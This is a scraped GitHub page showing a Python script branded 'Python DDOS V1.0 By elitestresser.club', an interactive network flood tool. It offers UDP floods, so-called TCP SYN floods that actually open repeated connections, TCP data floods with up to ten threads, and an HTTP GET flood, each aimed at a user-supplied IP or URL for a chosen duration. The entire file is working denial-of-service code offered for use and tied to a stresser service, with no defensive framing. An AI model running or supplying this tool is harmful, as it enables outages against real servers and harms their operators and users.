-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathelitekitv1.py
More file actions
230 lines (199 loc) · 9.02 KB
/
elitekitv1.py
File metadata and controls
230 lines (199 loc) · 9.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
import socket
import random
import time
import threading
import requests
from colorama import init, Fore
# Initialize Colorama for colored output
init(autoreset=True)
# Set the window title
print(f"\033]0;Python DDOS V1.0 By elitestresser.club\007", end="", flush=True)
# UDP Flood Methods
def udp_plain_flood(ip, port, duration, packet_size):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
end_time = time.time() + duration
packet_count = 0
payload = b"A" * packet_size # Fixed payload
print(Fore.LIGHTBLUE_EX + f"[*] Starting UDP Plain flood on {ip}:{port} with {packet_size}-byte packets for {duration} seconds...")
try:
while time.time() < end_time:
sock.sendto(payload, (ip, port))
packet_count += 1
except Exception as e:
print(Fore.LIGHTRED_EX + f"[!] Error during UDP Plain flood: {e}")
finally:
sock.close()
print(Fore.LIGHTGREEN_EX + f"[+] UDP Plain flood complete! Sent {packet_count} packets.")
def udp_random_flood(ip, port, duration, packet_size):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
end_time = time.time() + duration
packet_count = 0
print(Fore.LIGHTBLUE_EX + f"[*] Starting UDP Random flood on {ip}:{port} with {packet_size}-byte packets for {duration} seconds...")
try:
while time.time() < end_time:
payload = random.randbytes(packet_size) # Random payload
sock.sendto(payload, (ip, port))
packet_count += 1
except Exception as e:
print(Fore.LIGHTRED_EX + f"[!] Error during UDP Random flood: {e}")
finally:
sock.close()
print(Fore.LIGHTGREEN_EX + f"[+] UDP Random flood complete! Sent {packet_count} packets.")
# TCP Flood Methods
def tcp_syn_flood_single(ip, port, duration):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
end_time = time.time() + duration
packet_count = 0
print(Fore.LIGHTBLUE_EX + f"[*] Starting TCP SYN flood (Single) on {ip}:{port} for {duration} seconds...")
try:
while time.time() < end_time:
sock.connect_ex((ip, port)) # SYN flood doesn't complete handshake
packet_count += 1
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # New socket each time
except Exception as e:
print(Fore.LIGHTRED_EX + f"[!] Error during TCP SYN flood (Single): {e}")
finally:
sock.close()
print(Fore.LIGHTGREEN_EX + f"[+] TCP SYN flood (Single) complete! Sent {packet_count} SYN packets.")
def tcp_syn_flood_multi(ip, port, duration):
end_time = time.time() + duration
packet_count = [0] # List to share count across threads
def syn_worker():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
while time.time() < end_time:
try:
sock.connect_ex((ip, port))
packet_count[0] += 1
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
pass
sock.close()
print(Fore.LIGHTBLUE_EX + f"[*] Starting TCP SYN flood (Multi-threaded) on {ip}:{port} for {duration} seconds...")
threads = [threading.Thread(target=syn_worker) for _ in range(10)] # 10 threads
for t in threads:
t.start()
for t in threads:
t.join()
print(Fore.LIGHTGREEN_EX + f"[+] TCP SYN flood (Multi-threaded) complete! Sent {packet_count[0]} SYN packets.")
def tcp_data_flood_single(ip, port, duration, packet_size):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
end_time = time.time() + duration
packet_count = 0
payload = random.randbytes(packet_size)
print(Fore.LIGHTBLUE_EX + f"[*] Starting TCP Data flood (Single) on {ip}:{port} with {packet_size}-byte packets for {duration} seconds...")
try:
sock.connect((ip, port))
while time.time() < end_time:
sock.send(payload)
packet_count += 1
except Exception as e:
print(Fore.LIGHTRED_EX + f"[!] Error during TCP Data flood (Single): {e}")
finally:
sock.close()
print(Fore.LIGHTGREEN_EX + f"[+] TCP Data flood (Single) complete! Sent {packet_count} packets.")
def tcp_data_flood_multi(ip, port, duration, packet_size):
end_time = time.time() + duration
packet_count = [0]
def data_worker():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
payload = random.randbytes(packet_size)
try:
sock.connect((ip, port))
while time.time() < end_time:
sock.send(payload)
packet_count[0] += 1
except:
pass
sock.close()
print(Fore.LIGHTBLUE_EX + f"[*] Starting TCP Data flood (Multi-threaded) on {ip}:{port} with {packet_size}-byte packets for {duration} seconds...")
threads = [threading.Thread(target=data_worker) for _ in range(10)] # 10 threads
for t in threads:
t.start()
for t in threads:
t.join()
print(Fore.LIGHTGREEN_EX + f"[+] TCP Data flood (Multi-threaded) complete! Sent {packet_count[0]} packets.")
# HTTP Flood Method
def http_flood(url, duration):
end_time = time.time() + duration
request_count = 0
print(Fore.LIGHTBLUE_EX + f"[*] Starting HTTP flood on {url} for {duration} seconds...")
try:
while time.time() < end_time:
requests.get(url, timeout=1)
request_count += 1
except Exception as e:
print(Fore.LIGHTRED_EX + f"[!] Error during HTTP flood: {e}")
print(Fore.LIGHTGREEN_EX + f"[+] HTTP flood complete! Sent {request_count} requests.")
# Validation Function
def validate_input(prompt, min_val, max_val, input_type=int):
while True:
try:
value = input_type(input(Fore.LIGHTBLUE_EX + prompt))
if min_val <= value <= max_val:
return value
print(Fore.LIGHTRED_EX + f"[!] Value must be between {min_val} and {max_val}.")
except ValueError:
print(Fore.LIGHTRED_EX + "[!] Invalid input. Please enter a number.")
def main():
# Print header when tool runs
print(Fore.LIGHTGREEN_EX + "Made by elitestresser.club")
print(Fore.LIGHTBLUE_EX + "=== Network Flood Tool ===")
print("Protocols:")
print("1. UDP")
print("2. TCP")
print("3. HTTP")
protocol = input(Fore.LIGHTBLUE_EX + "Select protocol (1-3): ").strip()
if protocol == "1": # UDP
print(Fore.LIGHTBLUE_EX + "\nUDP Methods:")
print("1. UDP Plain (Fixed payload)")
print("2. UDP Random (Random payload)")
method = input(Fore.LIGHTBLUE_EX + "Select method (1-2): ").strip()
ip = input(Fore.LIGHTBLUE_EX + "Enter server IP: ")
port = validate_input("Enter port (1-65535): ", 1, 65535)
duration = validate_input("Enter flood duration in seconds: ", 1, float('inf'), float)
packet_size = validate_input("Enter packet size in bytes (1-65500): ", 1, 65500)
if method == "1":
udp_plain_flood(ip, port, duration, packet_size)
elif method == "2":
udp_random_flood(ip, port, duration, packet_size)
else:
print(Fore.LIGHTRED_EX + "[!] Invalid UDP method.")
elif protocol == "2": # TCP
print(Fore.LIGHTBLUE_EX + "\nTCP Methods:")
print("1. TCP SYN Flood (Sends SYN packets)")
print("2. TCP Data Flood (Sends data after connection)")
method = input(Fore.LIGHTBLUE_EX + "Select method (1-2): ").strip()
ip = input(Fore.LIGHTBLUE_EX + "Enter server IP: ")
port = validate_input("Enter port (1-65535): ", 1, 65535)
duration = validate_input("Enter flood duration in seconds: ", 1, float('inf'), float)
print(Fore.LIGHTBLUE_EX + "Execution Style:")
print("1. Single (One socket)")
print("2. Multi-threaded (10 threads)")
style = input(Fore.LIGHTBLUE_EX + "Select style (1-2): ").strip()
if method == "1":
if style == "1":
tcp_syn_flood_single(ip, port, duration)
elif style == "2":
tcp_syn_flood_multi(ip, port, duration)
else:
print(Fore.LIGHTRED_EX + "[!] Invalid TCP SYN style.")
elif method == "2":
packet_size = validate_input("Enter packet size in bytes (1-65500): ", 1, 65500)
if style == "1":
tcp_data_flood_single(ip, port, duration, packet_size)
elif style == "2":
tcp_data_flood_multi(ip, port, duration, packet_size)
else:
print(Fore.LIGHTRED_EX + "[!] Invalid TCP Data style.")
else:
print(Fore.LIGHTRED_EX + "[!] Invalid TCP method.")
elif protocol == "3": # HTTP
url = input(Fore.LIGHTBLUE_EX + "Enter URL (e.g., http://example.com): ")
duration = validate_input("Enter flood duration in seconds: ", 1, float('inf'), float)
http_flood(url, duration)
else:
print(Fore.LIGHTRED_EX + "[!] Invalid protocol selected.")
if __name__ == "__main__":
main()